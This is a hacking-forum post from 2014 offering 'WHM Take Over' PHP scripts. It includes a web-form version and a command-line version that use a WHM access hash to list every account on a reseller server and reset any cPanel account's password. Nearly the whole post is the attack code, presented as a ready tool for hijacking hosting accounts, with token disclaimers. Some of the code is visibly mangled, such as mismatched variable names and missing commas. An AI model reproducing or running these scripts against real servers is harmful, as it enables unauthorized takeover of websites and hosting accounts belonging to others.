Hello There, Guest! Login Register
Logo
Dismiss this notice
MaDLeeTs is not responsible for any attacks that are carried out on networks, websites or servers.
MaDLeeTs staff members cannot be held responsible.
All information on this forum is for educational purposes only.


WHM Take Over

  • 1 Vote(s) - 5 Average


07-12-2014, 08:06 AM #1
Hannibal Ksa Offline TeaM MaDLeeTs ***
TeaM MaDLeeTs
Posts:15 Threads:10 Joined:May 2014 Reputation: 6
Mood: Stoned
Sup y'all ..

Today, we're going to make a small project to take over on WHM via ACCESS HASH


NOTE: The author cannot be held responsible for any damage.



Project requirements:

- PHP.
(4,5)

- WHM.
(Reseller Control Panel)

- ACCESS HASH.
(WHM ACCESSHASH, Can let us login with no need to any passsword)

- XMLAPI.
(DOWNLOAD from here)


First step, we need to make a new php file (name it whatever you want), but it has to be in the same folder that contains the xmlapi.php


Q. Now what's the xmlapi.php ?
A. It's a class in php, which was coded by cPanel team to help their costumers. As you know, it's the same company.
(cPanel=Website-Panel / WHM=Reseller-Panel)

Now put this conent in to the php file we just made !

PHP Code:
<?php
#
# alm3refh.com | Group-XP
# Name   : WHM Take Over
# Coder  : HaNniBaL-KsA
# Twitter: @r00t3rz
#    -----------------------------------------
#    NOTE!! :
#    Use these scripts entirely at your own risk.
#    The author cannot be held responsible for any damage, direct nor consequential,
#    caused by the use of, or inability to use the techniques or scripts presented here.
#    " AND THIS FILE IS UNDER The GNU General Public License v3.0 "
 
error_reporting(0);
set_time_limit(0);
 
include 
'xmlapi.php';
  
##
  # POST
  ##
  
$ip $_POST['ip'];
  
$user $_POST['user'];
  
$root_hash $_POST['hash'];
  
$target $_POST['target'];
  
$pass $_POST['pass'];
  
$acc $_POST['acc'];
  
$change $_POST['change'];
  
##
  # HTML
  ##
    
echo '
    <!DOCTYPE html>
    <html dir="ltr">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>WHM Take Over | Alm3refh.com</title>
    <pre>
     
__          ___    _ __  __   _______    _           ____                 
\ \        / / |  | |  \/  | |__   __|  | |         / __ \                
 \ \  /\  / /| |__| | \  / |    | | __ _| | _____  | |  | |_   _____ _ __ 
  \ \/  \/ / |  __  | |\/| |    | |/ _` | |/ / _ \ | |  | \ \ / / _ \ \'__|
   \  /\  /  | |  | | |  | |    | | (_| |   <  __/ | |__| |\ V /  __/ |   
    \/  \/   |_|  |_|_|  |_|    |_|\__,_|_|\_\___|  \____/  \_/ \___|_|   
 
    </pre>
    <b>WHM Take Over @ alm3refh.com
By: HaNniBaL-KsA @r00t3rz</b>
 
 
    <form action="" method="post">
     
IP   :<input name="ip" type="text" value="ex: 127.0.0.1">
     
User : <input name="user" type="text" value="ex: hk">
     
Hash : <input name="hash" type="text" value="ex: alm3refh-1337">
 
 
    List of accounts: <input name="acc" type="submit" value="# List of accounts"/>
 
     
Change a cPanel Account\'s Password:
 targte-user: <input name="target" type="text" value="ex: target">&nbsp;new Password: <input name="pass" type="text" value="ex: 0wn3d">
    <input name="change" type="submit" value="# Change"/>
<pre>
    '
;
if(
$acc){
  
$xmlapi = new xmlapi($ip);
  
$xmlapi->hash_auth($user,$root_hash);
  
$xmlapi->return_xml(1);
  
$xmlapi->set_debug(1);
  echo 
"<b>[ accounts #] :</b>
 
"
;
  print 
$xmlapi->listaccts();
}
if(
$achange) {
  
$xmlapi = new xmlapi($ip);
  
$xmlapi->hash_auth($user,$root_hash);
  
$xmlapi->return_xml(1);
  
$xmlapi->set_debug(1);
  echo 
"<b>[ change #] : Done!</b>
 
"
;
  
$xmlapi->passwd($target$pass);
}
echo 
"</pre>
 
 
copyright 2014 &copy; alm3refh.com"
;
?>

Now open the php file .. Enter the request information and congrats u took over =P



However, the things that the project could do are:

1. List of all the accounts on the reseller.

2. Change a cPanel Account's Password.





Just to let you know, the file could be developed to be more powerful ;-)

^ I coded it in the simplest way you could imagine =))


Here is a simple example .. Command line version
(with the same features which are list and change pass ):

[Image: whm.png]


PHP Code:
<?php
#
# alm3refh.com | Group-XP
# Name   : WHM Take Over
# Coder  : HaNniBaL-KsA
# Twitter: @r00t3rz
#    -----------------------------------------
#    NOTE!! :
#    Use these scripts entirely at your own risk.
#    The author cannot be held responsible for any damage, direct nor consequential,
#    caused by the use of, or inability to use the techniques or scripts presented here.
#    " AND THIS FILE IS UNDER The GNU General Public License v3.0 "
 
error_reporting(0);
set_time_limit(0);
function 
clear(){
  
$uname strtolower(php_uname());
  if (
strpos($uname"win") !== false) {
    @
system('cls');
  } else {
    @
system('clear');
  }
}
function 
saveit($name$data){
  
$handle fopen($name'w') or die('Cannot open file:  '.$name);
  
fwrite($handle$data);
  
fclose($handle);
}
function 
alm3refh(){
  print 
"Options:
  [1] List of Accounts.
  [2] Change a cPanel Account's Password.
  [3] Exit.\n"
;
  print 
"\nYour choice: ";
  
$choice chop(fgets(STDIN));
  
$options = array("1","2","3");
  if(
in_array($choice$options)){
      return 
options($choice);
  }else{
      return 
alm3refh();
  }
}
function 
options($x){
  if(
$x == "1"){
    return 
alm3refh_list();
  } elseif(
$x == "2"){
    return 
alm3refh_cp();
  } elseif(
$x == "3"){
    print 
"Hope you like it!\n\ncheers.\nalm3refh.com\n\n";
    die();
  }else{ print 
"How did u get here ?\n\n"; return alm3refh(); } # just in case
}
function 
alm3refh_list(){
  print 
"\n\n# Alm3refh.com - WHM Take Over\n# List of Accounts\n\n";
  print 
"IP/Host: ";
  
$ip chop(fgets(STDIN));
  print 
"\nUser: ";
  
$user chop(fgets(STDIN));
  print 
"\nHash fil: ";
  
$file chop(fgets(STDIN));
  
$root_hash = @file_get_contents($file);
  print 
"\n\nStarting ";sleep(1);print ".";sleep(1);print ".";sleep(1);print ".";
  
$xmlapi = new xmlapi($ip);
  
$xmlapi->hash_auth($user,$root_hash);
  
$xmlapi->return_xml(1);
  
$xmlapi->set_debug(1);
  
$acc $xmlapi->listaccts();
  
$name "alm3refh_acc.txt";
  
saveit($name$acc);
  print 
"\n[ alm3refh #] : Accounts have been saved in alm3refh_acc.txt\n";
  
#print $xmlapi->listaccts();
  
print "\n\ncheers.\nAlm3refh.com\n";
}
function 
alm3refh_cp(){
  print 
"\n\n# Alm3refh.com - WHM Take Over\n# Change a cPanel Account's Password\n\n";
  print 
"IP/Host: ";
  
$ip chop(fgets(STDIN));
  print 
"\nUser: ";
  
$user chop(fgets(STDIN));
  print 
"\nHash fil: ";
  
$file chop(fgets(STDIN));
  
$root_hash = @file_get_contents($file);
  print 
"\n\nStarting ";sleep(1);print ".";sleep(1);print ".";sleep(1);print ".";
  print 
"\n\nTargte: ";
  
$target chop(fgets(STDIN));
  print 
"\nNew Password: ";
  
$pass chop(fgets(STDIN));
  
$xmlapi = new xmlapi($ip);
  
$xmlapi->hash_auth($user,$root_hash);
  
$xmlapi->return_xml(1);
  
$xmlapi->set_debug(1);
  
$xmlapi->passwd($target$pass);
  print 
"\n[ alm3refh #] $target's password has been changed!";
  print 
"\n\ncheers.\nAlm3refh.com\n";
}
include 
'xmlapi.php';
 
clear();
print 
"   
__          ___    _ __  __   _______    _           ____                 
\ \        / / |  | |  \/  | |__   __|  | |         / __ \ Command Line Version!
 \ \  /\  / /| |__| | \  / |    | | __ _| | _____  | |  | |_   _____ _ __ 
  \ \/  \/ / |  __  | |\/| |    | |/ _` | |/ / _ \ | |  | \ \ / / _ \ \'_|
   \  /\  /  | |  | | |  | |    | | (_| |   <  __/ | |__| |\ V /  __/ |   
    \/  \/   |_|  |_|_|  |_|    |_|\__,_|_|\_\___|  \____/  \_/ \___|_|
 
\nWHM Take Over @ alm3refh.com\nBy: HaNniBaL-KsA @r00t3rz\n\n"
;
alm3refh();
# HK @r00t3rz
?>


Best regards.

./hk

uNdErGrOuNd
hk @ r00t3rz






Forum Jump:


Users browsing this thread:1 Guest(s)